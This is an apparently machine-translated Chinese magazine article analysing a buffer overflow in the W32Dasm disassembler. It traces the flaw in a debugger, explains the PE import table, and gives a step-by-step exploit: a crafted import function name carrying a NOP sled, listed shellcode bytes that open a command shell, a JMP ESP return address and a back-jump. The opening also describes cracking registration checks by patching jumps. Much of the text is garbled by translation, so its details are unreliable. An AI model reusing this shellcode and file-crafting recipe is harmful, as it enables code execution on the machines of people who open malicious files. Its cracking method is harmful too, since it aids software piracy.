W32Dasm buffer overflow vulnerability analysis and exploit-vulnerability warning-the black bar safety net

ID MYHACK58:6220069052
Type myhack58
Reporter 佚名
Modified 2006-05-13T00:00:00


If you've seen the Black anti - “hack columnist”of the readers, all know the sentence is very classic words: with W32Dasm decompile need to crack the program, and then select the menu“references”->“string reference”, find“invalid registration code, please re-input!” Or“registration code is incorrect.” And other suspicious string, and then to find, find the jump over the position, and then with a hex editor, the jump position of the jz to jnz and save, and then re-run the Program, now just enter the registration code can be successfully registered. This is familiar to everyone“blasting method”. And in this process the main character in the W32Dasm is a powerful anti-compilation tools, simple operation, easy to use, by URSoft. Although a long time are no longer supported updated, but is still widely used. A myriad of beginners, including me, are using W32Dasm, the completion of several programs of‘blasting’, so as to arouse interest, thereby entering the reverse engineering of the door. But this year 1 end of month 2 at the beginning of time, a sudden burst W32Dasm also has a buffer overflow vulnerability that! Want to want to hack countless software W32Dasm, per se, but there is‘black’may be, I can only helplessly shook his head, it seems that with technology and experience, the human does not reach one hundred percent perfect and precise. We urgently need an innovative mechanism, or method, to plan The software development process, try to reduce or even eliminate a variety of security risks. Didn't Microsoft propose new development process, to the final settlement? Microsoft Asia Research Institute doing research in this area? Hey, your dream is very want to go there and learn learn it, you can also go look at the old Poison yet. Pulling away, or look at the vulnerability itself and the use of it. First, the vulnerability causes and analysis Vulnerability announcements mean W32Dasm in the processing of the executable file extraction/import function name when there is a problem. W32Dasm using the wsprintf()function to copy files introduced into/derived the function name, to a 2 5 6-byte buffer, since there is no check character length, it might cause buffer overflow. As now most of the vulnerability announcement as published information is relatively small, we need our own to locate out the problematic code. This several period of the Black anti -, there are articles explaining how to locate problem code, we can turn out review. Open SoftICE, run W32Dasm and. Press Ctrl + D exhaled SoftICE, type Addr w32Dasm89 command, expressed into W32Dasm process space; then enter Bpx wsprintfa, expressed in the call wsprintfa this function when interrupt down.

Tip: in Windows, A function with the ANSI implementation and the Unicode implementation in two forms, respectively is the function name plus A and W. When the parameter is an ANSI code, The system will automatically use A function to execute, if the parameter is a Unicode code, The system is used with W The function to perform.

Then press Ctrl + D to return to the Windows System. Use W32Dasm to select an executable file analysis. When you call wsprintfa when SoftICE POPs up, stay in the following code.

USER32! wsprintfA 77D1C96A LEA EAX, [ESP+0C] 77D1C96E PUSH EAX 77D1C96F PUSH DWORD PTR [ESP+0C] 77D1C973 PUSH DWORD PTR [ESP+0C] 77D1C977 CALL USER32! wvsprintfA 77D1C97C RET

It seems that wsprintfa just intact call wvsprintfA function. We can use the D command, the analysis of the pass over the parameters, you can know that you want to format the output of the stuff is what it is. Interrupted several times, including processing select a File for Disassembly, the Loading, allocation, etc. after the string, and finally to copy the function name of the process. Now be careful with any longer. In 77D1C97C RET after execution, return to the w32Dasm program space, stays in 0045D8E0. Vicinity of of code for.

0045D8C8 LEA EAX, [EBX+00640A2B] 0045D8CE PUSH EAX 0045D8CF PUSH 0 0 4 0 3 8 1 8 0045D8D4 LEA EDX, [EBP-00FC] 0045D8DA PUSH EDX 0045D8DB CALL USER32! wsprintfA 0045D8E0......

Into a high-level language, that is, wsprintfA ( EDX, 0 0 4 0 3 8 1 8,EAX )。 Then continue to trace, you can see the sub-function of the return statement in the 0045DCD6 it.

0045DCD6 RET

But wsprintfA the parameters in the EDX 0 0 4 0 3 8 1 8, The EAX what is it?, we take a look at it. Return the Windows, turn off the W32DASM after the re-run. This time into SoftICE the next breakpoint bpx 0045D8C8, is represented running to the code 0045D8C8 the time to interrupt down. So we can single step, view the press into the parameters of what is. Similarly, again in W32DASM, select an executable file of the analysis, it turned out to 0045D8C8 when SoftICE played out. We Press F10 to single-step execution continues, to 0045D8CE PUSH EAX, type D EAX, you can see the EAX turns out to be the introduction of the name of the function string; and then type D 0 0 4 0 3 8 1 8, we can see 0 0 4 0 3 8 1 8 is ‘%s’; running to the 0045D8DA PUSH EDX, type D EDX, you can see that EDX is the EBP-00FC = the 0065BDE8 it. This implementation of the function is actually wsprintfA( [EBP-00FC], ‘%s’, function name)

wsprintfA function does not check for function name string length, it would have been to copy until it encounters the end flag 0x00 so far. While the allocation of space[EBP-00FC]to save the return address only 0xFC so much. So if the function name is too long, you can put the return address overwritten to jump to the execution of arbitrary code, thereby completing the use.

We see that the sub-function of the address will be covered, in the implementation of the CALL wsprintfA before, type D EBP+4, You can see the saved return address is 00457F3B; we input U 00457F3B, see nearby of the code is: 00457F36 CALL 0045D3C1 00457F3B POP ECX

So exploits generated by the process: 00457F36 CALL 0045D3C1 | |_ 0045D8C8 LEA EAX, [EBX+00640A2B] //function name | ...... | 0045D8DB CALL USER32! wsprintfA | ...... |___ 0045DCD6 RET

If the function name is too long, wsprintfA can handle function 0045D3C1 the saved return address is overwritten, causing the buffer overflow. Find the problem code, we can carefully construct an executable file, the input-output table of function name structure super-long, and to bring the jump instructions and the ShellCode is. If the user is using the W32Dasm Debugger, you can process the permissions on the system to execute arbitrary commands. How to file build super-long Input/Output Function Name? This relates to the PE file format and the input-output table. Second, the PE file format analysis PE means Portable Executable(portable implementation.“portable executable”means that this file format is cross-win32 platform, even Windows runs on non-Intel CPU on any win32 platform, the PE loader can recognize and use the file format.

All PE files(even the 3 2-bit DLLs) must be a simple DOS MZ header start. We usually this structure is not too interest. With it, once the program is in DOS under execution, DOS can identify this is an effective Executive body. And then run immediately following the MZ header after the DOS stub. The DOS stub is actually a valid EXE, on does not support PE file formatoperating system, it will simply display an error message. Usually we are not the DOS stub is too interested in it: because in most cases it is by the assembler/compiler to automatically generate. Usually, it simply calls interrupt 21h service 9 to display the string“This program cannot run in DOS mode”. Immediately after the DOS stub of the PE header. The PE header is the PE-related structure IMAGE_NT_HEADERS referred to, which contains many of the PE loader used to important the domain. The Executive body in support of the PE file structureOSin execution, the PE loader from the DOS MZ header found PE header start offset. So skip the DOS stub is positioned directly to the real file header PE header. The PE file's real content is divided into blocks, called sections(sect. Each section is of a piece with the common attribute data, such as code/data, read/write, etc. While the section of the positioning information in the PE header behind the array structure of the section table the section table. Here we only care about the input/output table, so the sections(section)not interested. Just to see and the input/output table for the PE header structure.

The PE header is defined as follows: IMAGE_NT_HEADERS STRUCT Signature dd ? FileHeader IMAGE_FILE_HEADER <> OptionalHeader IMAGE_OPTIONAL_HEADER32 <> IMAGE_NT_HEADERS ENDS

Specifically, Signature is a dword type, value 50h, 45h, 00h, 00h PE\0\0 On. The domain of PE-labeled, we can identify a given file is a valid PE file. FileHeader the structure of the domain contains information about the PE file physical distribution of information, such as section number, File Execution machine, etc. OptionalHeaderThe structure of the domain contains information about the PE file logical distribution of information, although domain name are“optional”, but in fact the present structure is always there.

Subdivided it, FileHeader structure: IMAGE_FILE_HEADER STRUCT Machine WORD ? For Intel Platform, the value of 14Ch NumberOfSections WORD ? File section number. TimeDateStamp dd ? The file creation date, generally not interested in PointerToSymbolTable dd ? Debugging with NumberOfSymbols dd ? Debugging with SizeOfOptionalHeader WORD ? Immediately in the rear surface of the OptionalHeader structure size, must be a valid value Characteristics WORD ? On the file tag information, such as file is a exe or dll IMAGE_FILE_HEADER ENDS

While the OptionalHeader structure of the PE header, the largest and most important members, contains a PE file, the logic distribution information. The structure total 3 1 domain, some are critical, others less common. Here only those truly useful domain.

Tip: RVA represents the relative virtual address. RVA is similar to the file offset stuff. But it is relative to the virtual space of an address, rather than the file header. For example, if the PE file is loaded into the virtual address(VA)space 400000h, and the process from the virtual address 401000h start the implementation, we can say that the process of the execution start address in RVA of 1000h to. Each RVA is relative to the module starting VA.

Our concern is OptionalHeader structure the last of the DataDirectory array, which is 1 6 IMAGE_DATA_DIRECTORY structure array. IMAGE_DATA_DIRECTORY structure specified in the implementation file, the important part of the starting RVA and length,which is defined as follows, typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; the part of the RVA DWORD Size; The size of the portions }

The DataDirectory array of 16 IMAGE_DATA_DIRECTORY elements, the first item is always Exported Function Table output table the corresponding address and length. The second item is the Import Table, the input table of the corresponding address and length. So in the PE file to find the input table is: 1, From the DOS header is positioned to the PE header 2, from optional header to read the data directory of the address. 3, the IMAGE_DATA_DIRECTORY structure size multiplied by find the structure of the index number. 4, The above result plus a data directory address, we'll get that contains the query data structure information of the IMAGE_DATA_DIRECTORY structure.

Find the corresponding IMAGE_DATA_DIRECTORY structures, such as the input table of the IMAGE_DATA_DIRECTORY, which VirtualAddress it indicates the contains the introduction of table address. The introduction of table is actually one of the IMAGE_IMPORT_DESCRIPTOR structure is the array. Each IMAGE_IMPORT_DESCRIPTOR contains the PE files into a function of an associated DLL of information. There is no sign to indicate the introduction of a table of the number of IMAGE_IMPORT_DESCRIPTOR entry to a full 0 the members at the end.

IMAGE_IMPORT_DESCRIPTOR structure is as follows IMAGE_IMPORT_DESCRIPTOR STRUCT OriginalFirstThunk dd ? TimeDateStamp dd ? ForwarderChain dd ? Name1 dd ? FirstThunk dd ? IMAGE_IMPORT_DESCRIPTOR ENDS

Here we only care about the OriginalFirstThunk and FirstThunk is. OriginalFirstThunk contains an IMAGE_THUNK_DATA structure of an array of RVA's. IMAGE_THUNK_DATA this is a dword type set to a all 0 the members of the end, the content is a pointer to an IMAGE_IMPORT_BY_NAME structure pointer. While the IMAGE_IMPORT_BY_NAME structure is divided into two parts, the


Hint indicating the function in which it resides the DLL leads to table index number. The domain is the PE loader used in the DLL of the lead-out table fast query function. This value is not necessary, some of the connector will set this value to 0. Name1 contains the introduction of the function of the function name. The function name is an ASCIIZ string. Note here that although the Name1's size is defined as bytes, in fact it is the variable size of the domain, but we have no better way to represent the structure of the variable size of the domain. We want to change here of the Name1。 Because there is no field specified in the function name length is 0x00 to mark the end, so we just put Name1 to the super long name of the function it can lead to W32DASM overflow.

FirstThunk and OriginalFirstThunk very similar, it also contains a pointer to an IMAGE_THUNK_DATA structure of an array of RVA, the IMAGE_THUNK_DATA arrays although not the same, but the inside contains the value but also is the same. The following Fig. Although now the two arrays are now the same, but at the time of execution is different. But has not our concerns. Third, the file builds and exploits Figuring out the PE file structure, we can use the PE Edit tool to modify, I'm using Lord PE.

Click on PE Editor, you can select the executable file to be analyzed and modified. Given the PE analysis of the information is very detailed, adding and modifying PE content is also very convenient, is indeed a very handy tool. With so many“newbie-school overflow”edification, you should know that we construct the name of the function should be of the following format, Construct the name of the function format is = NNNNNNSSSSSSSSNNNNNNRJMPBACK

Wherein: N=NOP dummy instruction 0x90, nothing to do; S = ShellCode; the shellcode of the specific wording, see the previous issue of the magazine, there are detailed introduction. Here the use of the streamlining of shellcode, as follows. char shellcode[] = "\x55\x8B\xEC\x83\xEC\x2C\xC7\x45\xF4" "\x63\x6F\x6D\x6D\xC7\x45\xF8\x61\x6E" "\x64\x2E\xC7\x45\xFC\x63\x6F\x6D\x22" "\x33\xD2\x88\x55\xFF\x8D\x45\xF4\x50" "\xB8\x44\x80\xBF\x77\xFF\xD0\x90\x90";

R = covered address, we use the JMP ESP common address 0x7ffa4512 to cover; JMP BACK = the back jump. We put the ShellCode on the front, so with a E9 0B FF FF FF movin ' to jump into the front of the NOP, the final order of execution to the ShellCode.

Now we know how to change, you know change what. Click on PE Editor“Directories”button, go to the Directories modified. In the ExportTable, the ImportTable right,..., L, and H are three buttons.

Wherein the Click...will appear in the PE header structure analysis; click on L will appear in the structure of the list; and click on H, it can happen 1 6 hexadecimal editor to be edited. We click H, enter the Edit status, the introduction of a function name into a we construct a good function name.

Modify finished, we use W32Dasm decompile the carefully constructed files, pop, pop up a dos console, get a shell, use the success of it!!!!

Summary: The vulnerability is the use of ideas, the basic and ordinary stack overflow the same, but the trouble is that you want to construct a PE file header structure, the need for PE structure knowledge. As can be seen, the safety technology is a whole, only aspects of the system to grasp, to lay a good Foundation, in order to have better development space.